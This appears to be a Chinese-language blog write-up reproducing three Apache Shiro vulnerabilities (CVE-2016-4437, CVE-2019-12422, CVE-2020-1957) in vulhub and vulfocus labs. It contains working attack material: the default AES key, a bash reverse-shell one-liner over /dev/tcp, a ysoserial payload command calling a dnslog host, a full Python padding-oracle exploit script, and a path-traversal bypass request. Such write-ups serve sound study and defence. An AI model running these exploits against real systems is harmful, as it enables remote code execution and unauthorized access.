Shiro框架漏洞分析与复现

Shiro简介

Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性，可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

1、Shiro反序列化漏洞（CVE-2016-4437，Shiro-550）

漏洞原理：

shiro框架在登录时，如果勾选了RememberMe的功能，关闭浏览器再次访问时便无需再次登录，此时cookie中会增加一个rememberMe字段，其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时，会按照如下步骤进行解析处理：

检索RememberMe Cookie的值
进行Base64解码
进行AES解码
进行反序列化操作

由于在第4步中的调用反序列化时未进行任何过滤，导致可以触发Java反序列化漏洞，进而在目标机器上执行任意命令。

由于使用了AES加密，利用该漏洞需要获取AES的加密密钥，在Shiro1.2.4版本之前AES的加密密钥为硬编码，其默认密钥的Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==，于是就可得到Payload的构造流程：

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞，但可以通过搜索引擎等方式收集到不同的密钥，提高对该漏洞的利用成功率。

影响版本：Shiro <= 1.2.4

环境搭建：

使用 vulhub 搭建环境，路径：

vulhub/shiro/CVE-2016-4437

启动容器：

docker-compose up -d

在这里插入图片描述

访问 ip:8080 进入环境：

在这里插入图片描述
随便输入账号密码，勾选上 Remember me，抓包

可以看到响应包中出现了字段 set-Cookie: rememberMe=deleteMe，证明该系统使用了Shiro框架。

漏洞检测：

这里介绍两种检测 shiro 漏洞是否存在的工具。

第一种：Burp插件

下载链接提取码：j43f
在这里插入图片描述
按照上面的流程安装好插件后，当 Burp 抓到Shiro的数据包时会自动进行检测，当发现存在Shiro默认key时会告警。

第二种：shiro_attack 下载链接

当目标系统存在漏洞时，检测结果如下图所示：

漏洞利用：

还是使用上面的工具，爆破出利用链
在这里插入图片描述
可以执行命令，来反弹个shell

bash -c 'exec bash -i &>/dev/tcp/192.168.50.131/7777 <&1'

在这里插入图片描述

2、Shiro反序列化漏洞（CVE-2019-12422，Shiro721）

漏洞原理：

和上面的 shiro550 差不多，只是 shiro721 用到的加密方式是 AES-CBC 加密，其中 AES 加密的 key 基本猜不到了，是系统随机生成的。但是这种加密模式可以通过 Padding Oracle Attack( Oracle 填充攻击 )，攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀，然后精心构造 RememberMe Cookie 来实施反序列化攻击。

这里的Oracle不是那个数据库，而是一种通过接收特定加密数据 , 解密并验证填充是否正确的方式。

攻击流程：

使用任意账户登陆目标网站，以获取一个合法的 RememberMe Cookie
将获取的值作为POA的前缀
加密反序列化的payload来构造恶意RememberMe Cookie
将构造好的恶意数据填充到 RememberMe Cookie 字段中并发送

必要条件：合法的RememberMe Cookie（需认证一次）

影响版本：Shiro < 1.4.2

漏洞环境：

使用 vulfocus 靶场的 shiro-721

复现过程：

1、先使用正确的账号密码登录后，在抓包获取合法 Cookie（勾选Remember Me），：
在这里插入图片描述
认证失败则只能得到 rememberMe=deleteMe

2、使用Java反序列化工具 ysoserial 生成 Payload：

java -jar ysoserial.jar CommonsBeanutils1 "ping dkngnv.dnslog.cn" > payload.class

ysoserial使用：

下载源文件之后，通过maven编译生成jar包

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar

或者可以直接下载最新的jar包，下载链接

3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie：

Exp：

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
    print('rememberMe cookies:')
    print(b64encode(enc))

shiro_exp.py <url> <cookie value> <payload>

shiro_exp.py http://192.168.50.131:19013 SmfNcW9cXyL6gTts601iAULOw75rLeYT8dPtoZvIksPZg3bzUnsBTQSDAyFCptI6M8TQBoFPARAIC62r+FLv8I2Ap4GxwwWjCaVgRyVqUdDLQjYbXw8Um36CpAsy2nLzm0+u71k41588fAK9Ql7+3QU2BRYDKkLpl/iXwCZIsq9I3Vnrhoylt238vEUu0OzX+mGRyqMhms1rE4Jk4ZjSZoc8wRqnS0tT8FlqYSiHFQSsMiacxJqZ7iRYOblRG8pMJRWDqCUKJPY84Zx3O/l53gZ0YAPnuplS+3vD+I334zh5aNHgZuMSCv/0ekRhqEAFr1JwS1kd8hSCvTnkKgkjwY0uymox/9Oc6LlicXjS/arg/1/79wWR7qTjKCJpgENpt7oEhnPcLtmuLRguiiuPRXsUfFV+6ORJmX+ejd9Zx1KweCMD+3gz/LGQ76tifjv3wXembJJjdLPhi9g3lOsBcFlypkuUOrghMXvAHvzfHYu39ip/w9PCUdRkD3lbCOAj payload.class

此 exp 爆破时间较长，建议使用 ysoserial 生成较短的 payload 验证（eg: ping 、 touch /tmp/success, etc），约 3个多小时可生成正确的 rememberme cookie，生成成功后将自动停止运行。

在这里插入图片描述

4、使用Evil Rememberme cookie 认证进行反序列化攻击：
在这里插入图片描述
接收到记录，同理也可以执行其它系统命令。

shiro721 也可以使用上面的工具，而且速度非常快。

3、Shiro权限绕过漏洞（CVE-2020-1957）

在 Apache Shiro 1.5.2 以前的版本中，在使用Spring动态控制器时，攻击者通过构造..;这样的跳转，可以绕过Shiro中对目录的权限限制。

漏洞原理：

Shiro框架使用拦截器对用户访问权限进行控制，常见的有如anon、authc等拦截器。

anon拦截器为匿名拦截器，无需登陆即可进行访问，一般用于静态资源。
authc为登陆拦截器，需要登陆才可以访问。

URL路径表达式通常为ANT格式。这个应用中对URL权限的配置如下：

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

Ant格式：? 匹配一个字符
        * 匹配零个或多个字符串
        ** 匹配路径中的零个或多个路径
        
/**可以匹配路径，即可以匹配到/user/test/，而/*只能匹配到单个或多个字符串，即/user/test。

shiro会以分号将传入的URI进行截断，并将分号以及分号后面的数据进行清空，返回分号前面的URI数据，从而让/a/b;/c变为/a/b

Spring对于分号的处理方式与Shiro不同，Spring会先获取分号的位置，并检测分号后是否存在/，如果有，将/的位置记录在slashIndex变量中，并将分号前的数据与/之后的数据进行拼接，从而让/a/b;/c变为/a/b/c。返回处理后的requestURI。

由于Spring与Shiro的decodeAndCleanUriString方法不同，攻击者可以使用分号构造路径，绕过Shiro认证，并可以匹配Spring的动态控制器。

即URL请求过程：

客户端请求URL: /xxx/..;/admin/
Shrio内部处理得到校验URL为 /xxx/..，校验通过。
SpringBoot 处理 /xxx/..;/admin/，最终请求 /admin/，成功访问了后台请求。

影响版本：Shiro < 1.5.3

环境搭建：

靶场路径：

vulhub/shiro/CVE-2020-1957

启动容器：

docker-compose up -d

在这里插入图片描述

复现过程：

访问 /admin/ 目录
在这里插入图片描述
回显302跳转，构造恶意请求 /xxx/..;/admin/

成功绕过。